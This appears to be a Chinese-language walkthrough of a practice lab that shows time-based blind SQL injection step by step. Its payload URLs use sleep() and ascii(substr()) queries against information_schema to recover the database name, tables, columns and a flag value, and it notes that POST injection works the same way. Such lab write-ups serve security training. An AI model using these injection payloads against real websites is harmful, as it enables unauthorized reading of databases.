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延时注入

首先发现注入点，是由单引号闭合的

接下来判断数据库名的长度，长度为5（这里需注意if函数的用法，如果判断成功则执行sleep(1)，判断失败）

http://j.smatrix.org:20000/control/sqlinject/bool_injection.php?id=1' and if(length(database())>4,sleep(1),1) %2
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判断数据库名的各个字母，第一个字母的Asii为119

可判断出数据库名为webug,开始判断该数据库中各个表的名字，先判断第一个表的名字

http://j.smatrix.org:20000/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select table_name fro
m information_schema.tables where table_schema='webug' limit 0,1),1,1))=100,sleep(2),1) %23



第一个表名的第一个字母的Asii值为100，可判断出所有的表名，为:
data_crud, env_list,env_path, flag, sqlinjection, user, user_test
判断flag表中的列名，判断第一个列名如下：

http://j.smatrix.org:20000/control/sqlinject/bool_injection.php?id=1' and if(ascii(substr((select column_name fr
om information_schema.columns where table_name='flag' limit 0,1),1,1))=105,sleep(2),1) %23

可以判断出flag表的的第列首字母的Asii值为105，判断出所有列名为：id,flag
下面判断flag列中的内容

首字母的Asii值为100，最后可以获取flag



POST注入
获取flag方法与延时注入方法相同，都是通过延时函数来判断是否正确，只不过参数需要在POST框中提交。
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